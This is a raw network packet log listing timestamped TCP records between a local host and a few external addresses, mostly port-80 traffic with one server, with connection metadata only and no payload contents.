Oct 7, 2024 03:23:19.384639025 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.384670973 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.389020920 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.389031887 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.389082909 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.389314890 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.389329910 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.389370918 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.393749952 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.393762112 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.393800974 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.393814087 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.395831108 CEST	49886	443	192.168.2.4	142.250.184.228
Oct 7, 2024 03:23:19.395843983 CEST	443	49886	142.250.184.228	192.168.2.4
Oct 7, 2024 03:23:19.398463011 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.398474932 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.398483038 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.398515940 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.398673058 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.398689985 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.398700953 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.398734093 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.398749113 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.399585962 CEST	443	49886	142.250.184.228	192.168.2.4
Oct 7, 2024 03:23:19.399661064 CEST	49886	443	192.168.2.4	142.250.184.228
Oct 7, 2024 03:23:19.401335955 CEST	49886	443	192.168.2.4	142.250.184.228
Oct 7, 2024 03:23:19.401515007 CEST	443	49886	142.250.184.228	192.168.2.4
Oct 7, 2024 03:23:19.403175116 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.403187037 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.403198957 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.403225899 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.403249025 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.403395891 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.403414965 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.403453112 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.403472900 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.403700113 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.403724909 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.404159069 CEST	49887	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.404164076 CEST	443	49887	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.407879114 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.407891035 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.407901049 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.407988071 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.407988071 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.408098936 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.408111095 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.408150911 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.412607908 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.412620068 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.412630081 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.412667036 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.412677050 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.412787914 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.412800074 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.412834883 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.417342901 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.417354107 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.417406082 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.422230959 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.422243118 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.422250986 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.422350883 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.422350883 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.426820993 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.426836014 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.426882029 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.426958084 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.426970005 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.426979065 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427005053 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427016020 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427198887 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427208900 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427217960 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427228928 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427234888 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427241087 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427242994 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427253008 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427253962 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427263975 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427268028 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427273035 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427283049 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427284956 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427292109 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427303076 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427310944 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427313089 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427320957 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427323103 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427331924 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427336931 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427350998 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427357912 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427362919 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427373886 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427388906 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427395105 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427395105 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427400112 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427412033 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427418947 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427423000 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427432060 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427438021 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427442074 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427452087 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427458048 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427462101 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427470922 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427472115 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427486897 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427494049 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427495956 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427506924 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427512884 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427516937 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427525997 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427530050 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427537918 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427548885 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427550077 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427560091 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427571058 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427577019 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427582026 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427582026 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427593946 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427603006 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427608013 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427613974 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427624941 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427633047 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427640915 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427645922 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427650928 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427660942 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427670956 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427671909 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427683115 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427683115 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427694082 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427704096 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427706003 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427714109 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427717924 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427742958 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427762985 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427923918 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427934885 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427942038 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427953005 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427963972 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427964926 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427974939 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427983999 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.427984953 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427994967 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.427997112 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.428006887 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.428018093 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.428018093 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.428029060 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.428037882 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.428041935 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.428049088 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.428054094 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.428076029 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.428078890 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.428086996 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.428096056 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.428097963 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.428106070 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.428117037 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.428118944 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.428126097 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.428131104 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.428137064 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.428148031 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.428155899 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.428158045 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.428169012 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.428170919 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.428179026 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.428184032 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.428205967 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.428225994 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429018974 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429028988 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429039001 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429049969 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429059982 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429061890 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429069996 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429071903 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429080963 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429092884 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429094076 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429104090 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429109097 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429114103 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429122925 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429136038 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429142952 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429147959 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429157972 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429160118 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429169893 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429179907 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429181099 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429192066 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429203987 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429208994 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429214001 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429222107 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429224014 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429235935 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429246902 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429248095 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429258108 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429269075 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429271936 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429277897 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429287910 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429291010 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429300070 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429307938 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429317951 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429327965 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429331064 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429338932 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429339886 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429351091 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429361105 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429368973 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429372072 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429383993 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429394007 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429395914 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429405928 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429408073 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429414988 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429425955 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429426908 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429436922 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429440975 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429449081 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429460049 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429467916 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429471016 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429477930 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429481030 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429493904 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429503918 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429516077 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429522038 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429522038 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429531097 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.429543972 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429557085 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.429578066 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.432648897 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.432699919 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.432708979 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.432718039 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.432738066 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.432748079 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.432759047 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.432769060 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.432781935 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.432811975 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.432950020 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.432970047 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.432980061 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433008909 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433018923 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433037996 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433048010 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433057070 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433074951 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433078051 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433087111 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433098078 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433099985 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433118105 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433130026 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433132887 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433140039 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433150053 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433166027 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433166027 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433183908 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433187962 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433193922 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433207989 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433229923 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433243036 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433253050 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433262110 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433285952 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433293104 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433650017 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433660030 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433680058 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433686972 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433691025 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433693886 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433701992 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433712959 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433715105 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433727026 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433732033 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433737040 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433738947 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433757067 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433779955 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433799982 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433810949 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433844090 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433908939 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433919907 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433929920 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433940887 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433950901 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.433954954 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.433967113 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434055090 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434056044 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.434066057 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434076071 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.434087992 CEST	80	49879	185.215.113.103	192.168.2.4
